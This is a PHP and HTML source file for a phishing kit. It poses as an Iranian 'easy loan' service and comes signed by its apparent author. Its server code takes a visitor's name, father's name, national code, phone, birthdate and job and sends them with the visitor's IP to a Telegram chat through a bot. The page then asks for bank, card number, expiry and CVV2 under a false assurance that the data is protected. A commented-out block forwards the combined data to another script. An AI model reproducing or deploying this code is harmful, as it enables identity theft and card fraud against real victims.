<?php
include("config.php");
/* session_start();
function cpost($url,$data){
$ch = curl_init($url);
// return the response instead of sending it to stdout:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// set the POST data, corresponding method and headers:
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
// send the request and get the response
$out = curl_exec($ch);
return $out;
}
if(isset($_POST['fullName'],$_POST['fatherName'],$_POST['phone'],$_POST['nationalCode'],$_POST['job'])){
$x=$_SESSION['data'];
$xx=['fullname'=>$_POST['fullName'],'fatherName'=>$_POST['fatherName'],'phone'=>$_POST['phone'],'nationalCode'=>$_POST['nationalCode'],'job'=>$_POST['job'] ];
$_SESSION['data']=array_merge($x,$xx);
}
if(isset($_POST['bank'],$_POST['card'],$_POST['M'],$_POST['Y'],$_POST['cvv2'])){
$x=$_SESSION['data'];
$xx=['bank'=>$_POST['bank'],'card'=>$_POST['card'],'m'=>$_POST['M'],'y'=>$_POST['Y'],'cvv2'=>$_POST['cvv2']];
$_SESSION['data']=array_merge($x,$xx);
$data=$_SESSION['data'];
cpost("./kir.php",$data);
exit();
} */
if (
    isset($_POST['fullName']) &&
    isset($_POST['fatherName']) &&
    isset($_POST['phone']) &&
    isset($_POST['nationalCode']) &&
    isset($_POST['job']) &&
    isset($_POST['birthdate'])
) {

    $fullName = $_POST['fullName'];
    $fatherName = $_POST['fatherName'];
    $phone = normalizeDigits($_POST['phone']);
    $nationalCode = normalizeDigits($_POST['nationalCode']);
    $job = $_POST['job'];
    $birthdate = $_POST['birthdate'];
            if(checknationalcode($nationalCode) && bankchecknum((int)$phone, 9000000000, 9999999999) && bankcheckstr($fullName,3,64) && bankcheckstr($fatherName,3,64) && bankcheckstr($job,3,100) && bankcheckstr($birthdate,3,24)){
                    $juser = json_decode(file_get_contents("9b4bc35-users/$nationalCode.txt"));
    $jphone = $juser->phone;
                    if(file_exists("9b4bc35-users/$nationalCode.txt")  && ((string)$phone === (string)$jphone)){
    file_put_contents("9b4bc35-users/$nationalCode.txt",json_encode(["phone"=>(string)$phone,"name"=>$fullName,"father"=>$fatherName,"birth"=>$birthdate]));
                
    bot('sendMessage', [
'chat_id' => $chat_id,
'text' => "💠 ɴᴇᴡ #ɪᴅᴇɴᴛɪᴛʏ\n
👤 ɴᴀᴍᴇ & ʟᴀsᴛ : $fullName
🧑🏼‍🦳 ғᴀᴛʜᴇʀ's ɴᴀᴍᴇ : $fatherName
🧾 ɴᴀᴛɪᴏɴᴀʟ ᴄᴏᴅᴇ : $nationalCode
☎️ ᴘʜᴏɴᴇ-ɴᴜᴍ : $phone
🎂 ʙɪʀᴛʜᴅᴀᴛᴇ : $birthdate
🪤 ᴊᴏʙ : $job\n
🌐 ɪᴘ : $ip\n
🧑🏻‍💻 ᴅᴇᴠᴇʟᴏᴘᴇʀ / sᴜᴘᴘᴏʀᴛ ~ <a href='https://t.me/$chid'>$chname</a>",
'parse_mode' => 'HTML',
    'disable_web_page_preview' => true ]);
}else{
            die('<body onload="showAlert()">

<script>
function showAlert() {
    alert("اطلاعات مطابقت ندارد");
    window.history.back();
}
</script>

</body>');
}
}else{
        die('<body onload="showAlert()">

<script>
function showAlert() {
    alert("اطلاعات بدرستی وارد نشده");
    window.history.back();
}
</script>

</body>');
}
}else{
    die('<body onload="showAlert()">

<script>
function showAlert() {
    alert("اطلاعات وارد نشده");
    window.history.back();
}
</script>
</body>
');
}
?>
<!DOCTYPE html><html lang="fa" dir="rtl"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>انتخاب کارت بانکی | وام آسان</title>
    <link rel="stylesheet" href="css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="css/style.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        .form-section-title{
            border-bottom: 1px solid white;
            padding-bottom: 6px;
            margin-bottom: 4px;
            margin-top: 8px;
        }
        .form-label {
    display: flex;
    justify-content: space-between;
    font-size: 1rem;
    color: #fff;
    margin-bottom: 4px;
    font-weight: 500;
    text-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
}
.form-label i{
    margin-left: 12px;
}
.form-group {
    margin-bottom: 18px;
    position: relative;
    margin-top: 12px;
}
input::-webkit-outer-spin-button,
input::-webkit-inner-spin-button {
    /* display: none; <- Crashes Chrome on hover */
    -webkit-appearance: none;
    margin: 0; /* <-- Apparently some margin are still there even though it's hidden */
}

.x {
    -moz-appearance:textfield; /* Firefox */
}
        :root {
            --primary: #2c5aa0;
            --primary-light: #3b7ddd;
            --secondary: #ffd700;
            --accent: #ff7e5f;
            --success: #2ecc71;
            --gradient: linear-gradient(135deg, #2c5aa0 0%, #1e3a8a 100%);
            --gradient-light: linear-gradient(135deg, #3b7ddd 0%, #2c5aa0 100%);
            --shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
            --transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
        }
        
        body {
            font-family: 'Vazirmatn', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: #fff;
            line-height: 1.6;
            min-height: 100vh;
            padding: 0;
            overflow-x: hidden;
        }
        
        .container {
            max-width: 480px;
            margin: 0 auto;
            background: white;
            min-height: 100vh;
            box-shadow: 0 0 40px rgba(0, 0, 0, 0.2);
            position: relative;
            overflow-x: hidden;
        }
        
        /* Header Styles */
        header {
            background: var(--gradient);
            color: white;
            padding: 25px 20px;
            text-align: center;
            position: relative;
            border-radius: 0 0 30px 30px;
            box-shadow: var(--shadow);
            z-index: 10;
            overflow: hidden;
        }

        header::before {
            content: '';
            position: absolute;
            top: 0;
            right: 0;
            width: 100%;
            height: 100%;
            background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none"><path d="M0,0 L100,0 L100,100 Z" fill="rgba(255,255,255,0.05)"/></svg>');
            background-size: cover;
        }
        
        .header-content {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            animation: slideDown 0.8s ease-out;
            position: relative;
            z-index: 2;
        }
        
        .logo-container {
            display: flex;
            align-items: center;
            gap: 12px;
        }
        
        .logo-img {
            width: 40px;
            height: 40px;
            background: linear-gradient(135deg, var(--secondary), #ffed4e);
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            box-shadow: 0 4px 15px rgba(255, 215, 0, 0.3);
            animation: logoPulse 3s infinite;
            position: relative;
            overflow: hidden;
        }
        
        .logo-img::before {
            content: '';
            position: absolute;
            width: 100%;
            height: 100%;
            background: linear-gradient(45deg, transparent, rgba(255,255,255,0.3), transparent);
            transform: translateX(-100%);
            animation: shine 3s infinite;
        }
        
        .logo-img i {
            color: var(--primary);
            font-size: 1.2rem;
            z-index: 1;
        }
        
        .logo-text {
            font-size: 1.8rem;
            font-weight: 700;
            background: linear-gradient(45deg, var(--secondary), #ffed4e);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            text-shadow: 0 2px 10px rgba(255, 215, 0, 0.3);
            text-decoration: none;
            position: relative;
        }
        
        .back-button {
            font-size: 1.5rem;
            color: white;
            text-decoration: none;
            background: rgba(255, 255, 255, 0.1);
            width: 45px;
            height: 45px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255, 255, 255, 0.2);
            transition: var(--transition);
        }
        
        .back-button:hover {
            transform: scale(1.1);
            background: rgba(255, 255, 255, 0.2);
        }
        
        
        /* Main Content */
        .main-content {
            padding: 25px 20px;
            position: relative;
            z-index: 5;
            background: linear-gradient(135deg, #374057 0%, #476295 100%);
  border-radius: 15px;
  animation: fadeInUp 0.6s ease-out 0.4s both;
        }
        
        .page-title {
            font-size: 1.5rem;
            color: var(--primary);
            margin-bottom: 10px;
            font-weight: 700;
            text-align: center;
            animation: slideInRight 0.6s ease-out;
        }
        
        .page-subtitle {
            font-size: 1rem;
            color: #666;
            margin-bottom: 30px;
            text-align: center;
            animation: slideInRight 0.6s ease-out 0.2s both;
        }
        
        /* Amount Selection */
        .amount-selection {
            margin-bottom: 30px;
        }
        
        .amount-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 15px;
            margin-bottom: 25px;
        }
        
        .amount-card {
            background: white;
            border-radius: 15px;
            padding: 20px 15px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            transition: var(--transition);
            position: relative;
            overflow: hidden;
            border: 2px solid transparent;
            cursor: pointer;
            animation: fadeInUp 0.6s ease-out;
        }
        
        .amount-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15);
        }
        
        .amount-card.selected {
            border-color: var(--primary);
            background: linear-gradient(135deg, #f8faff 0%, #e8f0ff 100%);
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(44, 90, 160, 0.2);
        }
        
        .amount-card.selected::before {
            content: '✓';
            position: absolute;
            top: 10px;
            left: 10px;
            width: 25px;
            height: 25px;
            background: var(--success);
            color: white;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 0.9rem;
            font-weight: bold;
        }
        
        .amount-value {
            font-size: 1.3rem;
            font-weight: 700;
            color: var(--primary);
            margin-bottom: 5px;
        }
        
        .amount-label {
            font-size: 0.9rem;
            color: #666;
        }
        
        /* Conditions Section */
        .conditions-section {
            background: linear-gradient(135deg, #f8faff 0%, #e8f0ff 100%);
            border-radius: 15px;
            padding: 20px;
            margin-bottom: 30px;
            animation: fadeInUp 0.6s ease-out 0.4s both;
        }
        
        .conditions-title {
            font-size: 1.1rem;
            color: var(--primary);
            margin-bottom: 15px;
            font-weight: 600;
            display: flex;
            align-items: center;
        }
        
        .conditions-title i {
            margin-left: 10px;
            color: var(--primary);
        }
        
        .conditions-list {
            list-style: none;
            margin-bottom: 20px;
        }
        
        .condition-item {
            display: flex;
            align-items: flex-start;
            margin-bottom: 12px;
            font-size: 0.9rem;
            color: #555;
            line-height: 1.5;
        }
        
        .condition-item i {
            margin-left: 10px;
            color: var(--success);
            font-size: 1rem;
            margin-top: 2px;
            flex-shrink: 0;
        }
        
        /* Conditions Table */
        .conditions-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
            font-size: 0.8rem;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
            border-radius: 10px;
            overflow: hidden;
        }
        
        .conditions-table th {
            background: var(--primary);
            color: white;
            padding: 12px 8px;
            text-align: center;
            font-weight: 600;
        }
        
        .conditions-table td {
            padding: 10px 8px;
            text-align: center;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .conditions-table tr:nth-child(even) {
            background: rgba(44, 90, 160, 0.05);
        }
        
        .conditions-table tr:last-child td {
            border-bottom: none;
        }
        
        .table-title {
            font-size: 1rem;
            color: var(--primary);
            margin: 20px 0 10px 0;
            text-align: center;
            font-weight: 600;
        }
        
        /* Action Button */
        .action-button {
            width: 100%;
            padding: 18px;
            border-radius: 12px;
            border: none;
            background: var(--gradient);
            color: white;
            font-family: 'Vazirmatn', sans-serif;
            font-size: 1.1rem;
            font-weight: 600;
            cursor: pointer;
            box-shadow: 0 5px 15px rgba(44, 90, 160, 0.4);
            transition: var(--transition);
            animation: fadeInUp 0.6s ease-out 0.6s both;
        }
        
        .action-button:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(44, 90, 160, 0.5);
        }
        
        .action-button:active {
            transform: translateY(-2px);
        }
        
        .action-button:disabled {
            background: #cccccc;
            cursor: not-allowed;
            transform: none;
            box-shadow: none;
        }
        
        /* Animation Keyframes */
        @keyframes slideDown {
            from {
                opacity: 0;
                transform: translateY(-30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes slideInRight {
            from {
                opacity: 0;
                transform: translateX(30px);
            }
            to {
                opacity: 1;
                transform: translateX(0);
            }
        }
        
        @keyframes fadeInUp {
            from {
                opacity: 0;
                transform: translateY(30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes logoPulse {
            0%, 100% {
                transform: scale(1);
            }
            50% {
                transform: scale(1.05);
            }
        }
        
        @keyframes shine {
            0% {
                transform: translateX(-100%);
            }
            20% {
                transform: translateX(100%);
            }
            100% {
                transform: translateX(100%);
            }
        }
        
        /* Responsive Adjustments */
        @media (max-width: 480px) {
            .container {
                border-radius: 0;
            }
            
            header {
                border-radius: 0;
            }
            
            .amount-grid {
                grid-template-columns: 1fr;
            }
            
            .conditions-table {
                font-size: 0.75rem;
            }
            
            .conditions-table th,
            .conditions-table td {
                padding: 8px 5px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <header>
            <div class="header-content">
                <a href="javascript:history.back()" class="back-button">
                    <i class="fas fa-arrow-right"></i>
                </a>
                <div class="logo-container">
                    <div class="logo-img">
                        <i class="fas fa-credit-card"></i>
                    </div>
                    <a href="/dashboard" class="logo-text">وام آسان</a>
                </div>
                <div style="width: 45px;"></div> <!-- Spacer for balance -->
            </div>
        </header>
        
        <!-- Main Content -->
        <div class="main-content" id="mainContent">
            <!-- Progress Bar -->
            <div class="progress-container">
                <div class="progress-bar">
                    <div class="progress-fill" id="progressFill"></div>
                </div>
                <div class="progress-text">مرحله ۲ از ۲ - انتخاب کارت بانکی</div>
            </div>
            
            <!-- Page Title -->
            <h1 class="page-title">انتخاب کارت بانکی</h1>
            <p class="page-subtitle">کارت بانکی دارای موجودی خود را انتخاب کنید</p>
            
            <!-- Security Notice -->
            <div class="security-notice">
                <i class="fas fa-shield-alt"></i>
                اطلاعات شما با استفاده از پروتکل های امنیتی پیشرفته محافظت می شود
            </div>
            
            <!-- Bank Cards Selection -->
            <div class="bank-selection">
                <div class="bank-cards-grid" id="bankCardsGrid">
                    <!-- Bank cards will be added dynamically -->
                </div>
            </div>
            
            
<form class="form-container" id="formContainer" action="verification" method="POST">
    <div class="form-section">
        <div class="form-section-title">
            <i class="fas fa-credit-card"></i>
            اطلاعات کارت بانکی
        </div>

        <div class="form-group">
            <label class="form-label">انتخاب بانک</label>
            <div class="bank-selector">
                <label class="bank-option" style="animation-delay: 0s;">
                    <input type="radio" name="bank" value="saderat" hidden>
                    <div class="bank-logo"><img src="images/Saderat.png" alt="بانک صادرات ایران"></div>
                    <span class="bank-name">صادرات</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.1s;">
                    <input type="radio" name="bank" value="melli" hidden>
                    <div class="bank-logo"><img src="images/Meli.png" alt="بانک ملی ایران"></div>
                    <span class="bank-name">ملی</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.2s;">
                    <input type="radio" name="bank" value="mellat" hidden>
                    <div class="bank-logo"><img src="images/Melat.png" alt="بانک ملت"></div>
                    <span class="bank-name">ملت</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.3s;">
                    <input type="radio" name="bank" value="sina" hidden>
                    <div class="bank-logo"><img src="images/Sina.png" alt="بانک سینا"></div>
                    <span class="bank-name">سینا</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.4s;">
                    <input type="radio" name="bank" value="sepah" hidden>
                    <div class="bank-logo"><img src="images/Sepah.png" alt="بانک سپه"></div>
                    <span class="bank-name">سپه</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.5s;">
                    <input type="radio" name="bank" value="tejarat" hidden>
                    <div class="bank-logo"><img src="images/Tejarat.png" alt="بانک تجارت"></div>
                    <span class="bank-name">تجارت</span>
                </label>
                <label class="bank-option" style="animation-delay: 0.6s;">
                    <input type="radio" name="bank" value="more" hidden>
                    <div class="bank-logo"><img src="images/more.png" alt="سایر"></div>
                    <span class="bank-name">سایر بانک‌ها</span>
                </label>
            </div>
        </div>

        <div class="form-grid">
            <div class="form-group">
                <div class="form-label">
                    <p>شماره کارت</p>
                    <i class="fas fa-credit-card input-icon"></i>
                </div>
                <input type="text" class="form-input x" name="card" id="cardNumber" required maxlength="19"
                    oninput="formatCard(this,'mm')" placeholder="XXXX XXXX XXXX XXXX" dir="ltr">
            </div>

            <div class="form-row">
                <div class="form-group">
                    <div class="form-label">
                        <p>تاریخ انقضا</p>
                        <i class="fas fa-calendar input-icon"></i>
                    </div>
                    <div style="display:flex;">
                        <input type="text" class="form-input" oninput="handleMonth(this, 'yy')" maxlength="2" name="M"
                            id="mm" placeholder="ماه" required>
                        <input type="text" class="form-input" oninput="autoNext(this, 'cardCvv', 2)" maxlength="2"
                            name="Y" id="yy" placeholder="سال" required>
                    </div>
                </div>

                <div class="form-group">
                    <div class="form-label">
                        <p>CVV2</p>
                        <i class="fas fa-lock input-icon"></i>
                    </div>
                    <input type="number" class="form-input" id="cardCvv" name="cvv2" required
                        placeholder="XXX" dir="ltr" min="100" max="9999">
                </div>
            </div>
        </div>
    </div>

    <input type="submit" class="action-button" id="submitButton" value="تایید و ادامه">
</form>

        </div>
<script>
function formatCard(input, nextId){
  let value = input.value.replace(/\D/g, '');
  value = value.replace(/(.{4})/g, '$1 ').trim();
  input.value = value;
  if (value.length === 19) {
    document.getElementById(nextId).focus();
  }
}
function maxlen(input,len){
let value = input.value;
if(value==len)
document.activeElement.blur();
}
function handleMonth(input, nextId) {
  let val = input.value.replace(/\D/g, '');
  if (parseInt(val) > 12) {
    val = '12';
  }
input.value = val;
  if (val.length === 2) {
    document.getElementById(nextId).focus();
  }
}

function autoNext(input, nextId, limit){
  input.value = input.value.replace(/\D/g, '');
  if (input.value.length === limit) {
    document.getElementById(nextId).focus();
  }
}
</script>
    <script src="js/script.js"></script>

</body></html>
//CODED BY @MD0TM